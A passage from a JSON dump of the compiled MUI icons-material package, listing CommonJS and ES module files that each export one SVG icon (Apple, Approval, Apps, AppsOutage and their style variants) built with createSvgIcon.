    "content": "\"use strict\";\n'use client';\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.71 19.5c-.83 1.24-1.71 2.45-3.05 2.47-1.34.03-1.77-.79-3.29-.79-1.53 0-2 .77-3.27.82-1.31.05-2.3-1.32-3.14-2.53C4.25 17 2.94 12.45 4.7 9.39c.87-1.52 2.43-2.48 4.12-2.51 1.28-.02 2.5.87 3.29.87.78 0 2.26-1.07 3.81-.91.65.03 2.47.26 3.64 1.98-.09.06-2.17 1.28-2.15 3.81.03 3.02 2.65 4.03 2.68 4.04-.03.07-.42 1.44-1.38 2.83M13 3.5c.73-.83 1.94-1.46 2.94-1.5.13 1.17-.34 2.35-1.04 3.19-.69.85-1.83 1.51-2.95 1.42-.15-1.15.41-2.35 1.05-3.11z\"\n}), 'Apple');"
  },
  {
    "path": "packages/mui-icons-material/lib/Apple.mjs",
    "content": "'use client';\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.71 19.5c-.83 1.24-1.71 2.45-3.05 2.47-1.34.03-1.77-.79-3.29-.79-1.53 0-2 .77-3.27.82-1.31.05-2.3-1.32-3.14-2.53C4.25 17 2.94 12.45 4.7 9.39c.87-1.52 2.43-2.48 4.12-2.51 1.28-.02 2.5.87 3.29.87.78 0 2.26-1.07 3.81-.91.65.03 2.47.26 3.64 1.98-.09.06-2.17 1.28-2.15 3.81.03 3.02 2.65 4.03 2.68 4.04-.03.07-.42 1.44-1.38 2.83M13 3.5c.73-.83 1.94-1.46 2.94-1.5.13 1.17-.34 2.35-1.04 3.19-.69.85-1.83 1.51-2.95 1.42-.15-1.15.41-2.35 1.05-3.11z\"\n}), 'Apple');"
  },
  {
    "path": "packages/mui-icons-material/lib/Approval.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 16v6h16v-6c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2m14 2H6v-2h12zM12 2C9.24 2 7 4.24 7 7l5 7 5-7c0-2.76-2.24-5-5-5m0 9L9 7c0-1.66 1.34-3 3-3s3 1.34 3 3z\"\n}), 'Approval');"
  },
  {
    "path": "packages/mui-icons-material/lib/Approval.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 16v6h16v-6c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2m14 2H6v-2h12zM12 2C9.24 2 7 4.24 7 7l5 7 5-7c0-2.76-2.24-5-5-5m0 9L9 7c0-1.66 1.34-3 3-3s3 1.34 3 3z\"\n}), 'Approval');"
  },
  {
    "path": "packages/mui-icons-material/lib/ApprovalOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 16v6h16v-6c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2m14 2H6v-2h12zM12 2C9.24 2 7 4.24 7 7l5 7 5-7c0-2.76-2.24-5-5-5m0 9L9 7c0-1.66 1.34-3 3-3s3 1.34 3 3z\"\n}), 'ApprovalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ApprovalOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 16v6h16v-6c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2m14 2H6v-2h12zM12 2C9.24 2 7 4.24 7 7l5 7 5-7c0-2.76-2.24-5-5-5m0 9L9 7c0-1.66 1.34-3 3-3s3 1.34 3 3z\"\n}), 'ApprovalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ApprovalRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 16v4c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2m13 2H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1M12 2C9.54 2 7.48 3.79 7.07 6.13c-.08.52.06 1.05.36 1.47l3.76 5.26c.4.56 1.23.56 1.63 0l3.76-5.26c.3-.42.44-.95.35-1.47C16.52 3.79 14.46 2 12 2\"\n}), 'ApprovalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ApprovalRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 16v4c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2m13 2H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1M12 2C9.54 2 7.48 3.79 7.07 6.13c-.08.52.06 1.05.36 1.47l3.76 5.26c.4.56 1.23.56 1.63 0l3.76-5.26c.3-.42.44-.95.35-1.47C16.52 3.79 14.46 2 12 2\"\n}), 'ApprovalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ApprovalSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 14v8h16v-8zm14 4H6v-2h12zM12 2C9.24 2 7 4.24 7 7l5 7 5-7c0-2.76-2.24-5-5-5\"\n}), 'ApprovalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ApprovalSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 14v8h16v-8zm14 4H6v-2h12zM12 2C9.24 2 7 4.24 7 7l5 7 5-7c0-2.76-2.24-5-5-5\"\n}), 'ApprovalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ApprovalTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 16h12v2H6zm6-12c-1.66 0-3 1.34-3 3l3 4 3-4c0-1.66-1.34-3-3-3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C9.24 2 7 4.24 7 7l5 7 5-7c0-2.76-2.24-5-5-5m0 9L9 7c0-1.66 1.34-3 3-3s3 1.34 3 3zm6 3H6c-1.1 0-2 .9-2 2v6h16v-6c0-1.1-.9-2-2-2m0 4H6v-2h12z\"\n}, \"1\")], 'ApprovalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ApprovalTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 16h12v2H6zm6-12c-1.66 0-3 1.34-3 3l3 4 3-4c0-1.66-1.34-3-3-3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C9.24 2 7 4.24 7 7l5 7 5-7c0-2.76-2.24-5-5-5m0 9L9 7c0-1.66 1.34-3 3-3s3 1.34 3 3zm6 3H6c-1.1 0-2 .9-2 2v6h16v-6c0-1.1-.9-2-2-2m0 4H6v-2h12z\"\n}, \"1\")], 'ApprovalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Apps.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 8h4V4H4zm6 12h4v-4h-4zm-6 0h4v-4H4zm0-6h4v-4H4zm6 0h4v-4h-4zm6-10v4h4V4zm-6 4h4V4h-4zm6 6h4v-4h-4zm0 6h4v-4h-4z\"\n}), 'Apps');"
  },
  {
    "path": "packages/mui-icons-material/lib/Apps.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 8h4V4H4zm6 12h4v-4h-4zm-6 0h4v-4H4zm0-6h4v-4H4zm6 0h4v-4h-4zm6-10v4h4V4zm-6 4h4V4h-4zm6 6h4v-4h-4zm0 6h4v-4h-4z\"\n}), 'Apps');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppsOutage.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 8h4V4H4zm6 12h4v-4h-4zm-6 0h4v-4H4zm0-6h4v-4H4zm6 0h4v-4h-4zm6 6h4v-4h-4zm3-20c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 8h-1V7h1zm0-2h-1V2h1zM16 14h4v-2.07c-.33.05-.66.07-1 .07-1.07 0-2.09-.24-3-.68zM10 4v4h2.68c-.44-.91-.68-1.93-.68-3 0-.34.02-.67.07-1z\"\n}), 'AppsOutage');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppsOutage.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 8h4V4H4zm6 12h4v-4h-4zm-6 0h4v-4H4zm0-6h4v-4H4zm6 0h4v-4h-4zm6 6h4v-4h-4zm3-20c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 8h-1V7h1zm0-2h-1V2h1zM16 14h4v-2.07c-.33.05-.66.07-1 .07-1.07 0-2.09-.24-3-.68zM10 4v4h2.68c-.44-.91-.68-1.93-.68-3 0-.34.02-.67.07-1z\"\n}), 'AppsOutage');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppsOutageOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 8h4V4H4zm6 12h4v-4h-4zm-6 0h4v-4H4zm0-6h4v-4H4zm6 0h4v-4h-4zm6 6h4v-4h-4zm3-20c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 8h-1V7h1zm0-2h-1V2h1zM16 14h4v-2.07c-.33.05-.66.07-1 .07-1.07 0-2.09-.24-3-.68zM10 4v4h2.68c-.44-.91-.68-1.93-.68-3 0-.34.02-.67.07-1z\"\n}), 'AppsOutageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppsOutageOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 8h4V4H4zm6 12h4v-4h-4zm-6 0h4v-4H4zm0-6h4v-4H4zm6 0h4v-4h-4zm6 6h4v-4h-4zm3-20c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 8h-1V7h1zm0-2h-1V2h1zM16 14h4v-2.07c-.33.05-.66.07-1 .07-1.07 0-2.09-.24-3-.68zM10 4v4h2.68c-.44-.91-.68-1.93-.68-3 0-.34.02-.67.07-1z\"\n}), 'AppsOutageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppsOutageRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6 12c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-6 0c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0-6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6 0c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m.07-10H12c-1.1 0-2 .9-2 2s.9 2 2 2c.22 0 .43-.04.63-.1C12.22 7.01 12 6.03 12 5c0-.34.02-.67.07-1M19 12c-1.03 0-2.01-.22-2.9-.63-.06.2-.1.41-.1.63 0 1.1.9 2 2 2s2-.9 2-2v-.07c-.33.05-.66.07-1 .07m-1 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m1-20c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 7.5c0 .28-.22.5-.5.5-.27 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5M19 6c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5s.5.22.5.5v3c0 .28-.22.5-.5.5\"\n}), 'AppsOutageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppsOutageRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6 12c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-6 0c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0-6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m6 0c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m.07-10H12c-1.1 0-2 .9-2 2s.9 2 2 2c.22 0 .43-.04.63-.1C12.22 7.01 12 6.03 12 5c0-.34.02-.67.07-1M19 12c-1.03 0-2.01-.22-2.9-.63-.06.2-.1.41-.1.63 0 1.1.9 2 2 2s2-.9 2-2v-.07c-.33.05-.66.07-1 .07m-1 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m1-20c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 7.5c0 .28-.22.5-.5.5-.27 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5M19 6c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5s.5.22.5.5v3c0 .28-.22.5-.5.5\"\n}), 'AppsOutageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppsOutageSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 8h4V4H4zm6 12h4v-4h-4zm-6 0h4v-4H4zm0-6h4v-4H4zm6 0h4v-4h-4zm6 6h4v-4h-4zm3-20c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 8h-1V7h1zm0-2h-1V2h1zM16 14h4v-2.07c-.33.05-.66.07-1 .07-1.07 0-2.09-.24-3-.68zM10 4v4h2.68c-.44-.91-.68-1.93-.68-3 0-.34.02-.67.07-1z\"\n}), 'AppsOutageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppsOutageSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 8h4V4H4zm6 12h4v-4h-4zm-6 0h4v-4H4zm0-6h4v-4H4zm6 0h4v-4h-4zm6 6h4v-4h-4zm3-20c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 8h-1V7h1zm0-2h-1V2h1zM16 14h4v-2.07c-.33.05-.66.07-1 .07-1.07 0-2.09-.24-3-.68zM10 4v4h2.68c-.44-.91-.68-1.93-.68-3 0-.34.02-.67.07-1z\"\n}), 'AppsOutageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppsOutageTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 8h4V4H4zm6 12h4v-4h-4zm-6 0h4v-4H4zm0-6h4v-4H4zm6 0h4v-4h-4zm6 6h4v-4h-4zm3-20c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 8h-1V7h1zm0-2h-1V2h1zM16 14h4v-2.07c-.33.05-.66.07-1 .07-1.07 0-2.09-.24-3-.68zM10 4v4h2.68c-.44-.91-.68-1.93-.68-3 0-.34.02-.67.07-1z\"\n}), 'AppsOutageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppsOutageTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 8h4V4H4zm6 12h4v-4h-4zm-6 0h4v-4H4zm0-6h4v-4H4zm6 0h4v-4h-4zm6 6h4v-4h-4zm3-20c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m.5 8h-1V7h1zm0-2h-1V2h1zM16 14h4v-2.07c-.33.05-.66.07-1 .07-1.07 0-2.09-.24-3-.68zM10 4v4h2.68c-.44-.91-.68-1.93-.68-3 0-.34.02-.67.07-1z\"\n}), 'AppsOutageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 8h4V4H4zm6 12h4v-4h-4zm-6 0h4v-4H4zm0-6h4v-4H4zm6 0h4v-4h-4zm6-10v4h4V4zm-6 4h4V4h-4zm6 6h4v-4h-4zm0 6h4v-4h-4z\"\n}), 'AppsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 8h4V4H4zm6 12h4v-4h-4zm-6 0h4v-4H4zm0-6h4v-4H4zm6 0h4v-4h-4zm6-10v4h4V4zm-6 4h4V4h-4zm6 6h4v-4h-4zm0 6h4v-4h-4z\"\n}), 'AppsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 20q-.825 0-1.4125-.5875T4 18t.5875-1.4125T6 16t1.4125.5875T8 18t-.5875 1.4125T6 20m6 0q-.825 0-1.4125-.5875T10 18t.5875-1.4125T12 16t1.4125.5875T14 18t-.5875 1.4125T12 20m6 0q-.825 0-1.4125-.5875T16 18t.5875-1.4125T18 16t1.4125.5875T20 18t-.5875 1.4125T18 20M6 14q-.825 0-1.4125-.5875T4 12t.5875-1.4125T6 10t1.4125.5875T8 12t-.5875 1.4125T6 14m6 0q-.825 0-1.4125-.5875T10 12t.5875-1.4125T12 10t1.4125.5875T14 12t-.5875 1.4125T12 14m6 0q-.825 0-1.4125-.5875T16 12t.5875-1.4125T18 10t1.4125.5875T20 12t-.5875 1.4125T18 14M6 8q-.825 0-1.4125-.5875T4 6t.5875-1.4125T6 4t1.4125.5875T8 6t-.5875 1.4125T6 8m6 0q-.825 0-1.4125-.5875T10 6t.5875-1.4125T12 4t1.4125.5875T14 6t-.5875 1.4125T12 8m6 0q-.825 0-1.4125-.5875T16 6t.5875-1.4125T18 4t1.4125.5875T20 6t-.5875 1.4125T18 8\"\n}), 'AppsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 20q-.825 0-1.4125-.5875T4 18t.5875-1.4125T6 16t1.4125.5875T8 18t-.5875 1.4125T6 20m6 0q-.825 0-1.4125-.5875T10 18t.5875-1.4125T12 16t1.4125.5875T14 18t-.5875 1.4125T12 20m6 0q-.825 0-1.4125-.5875T16 18t.5875-1.4125T18 16t1.4125.5875T20 18t-.5875 1.4125T18 20M6 14q-.825 0-1.4125-.5875T4 12t.5875-1.4125T6 10t1.4125.5875T8 12t-.5875 1.4125T6 14m6 0q-.825 0-1.4125-.5875T10 12t.5875-1.4125T12 10t1.4125.5875T14 12t-.5875 1.4125T12 14m6 0q-.825 0-1.4125-.5875T16 12t.5875-1.4125T18 10t1.4125.5875T20 12t-.5875 1.4125T18 14M6 8q-.825 0-1.4125-.5875T4 6t.5875-1.4125T6 4t1.4125.5875T8 6t-.5875 1.4125T6 8m6 0q-.825 0-1.4125-.5875T10 6t.5875-1.4125T12 4t1.4125.5875T14 6t-.5875 1.4125T12 8m6 0q-.825 0-1.4125-.5875T16 6t.5875-1.4125T18 4t1.4125.5875T20 6t-.5875 1.4125T18 8\"\n}), 'AppsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 8h4V4H4zm6 12h4v-4h-4zm-6 0h4v-4H4zm0-6h4v-4H4zm6 0h4v-4h-4zm6-10v4h4V4zm-6 4h4V4h-4zm6 6h4v-4h-4zm0 6h4v-4h-4z\"\n}), 'AppsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 8h4V4H4zm6 12h4v-4h-4zm-6 0h4v-4H4zm0-6h4v-4H4zm6 0h4v-4h-4zm6-10v4h4V4zm-6 4h4V4h-4zm6 6h4v-4h-4zm0 6h4v-4h-4z\"\n}), 'AppsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 8h4V4H4zm6 12h4v-4h-4zm-6 0h4v-4H4zm0-6h4v-4H4zm6 0h4v-4h-4zm6-10v4h4V4zm-6 4h4V4h-4zm6 6h4v-4h-4zm0 6h4v-4h-4z\"\n}), 'AppsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AppsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 8h4V4H4zm6 12h4v-4h-4zm-6 0h4v-4H4zm0-6h4v-4H4zm6 0h4v-4h-4zm6-10v4h4V4zm-6 4h4V4h-4zm6 6h4v-4h-4zm0 6h4v-4h-4z\"\n}), 'AppsTwoTone');"
  },
  {
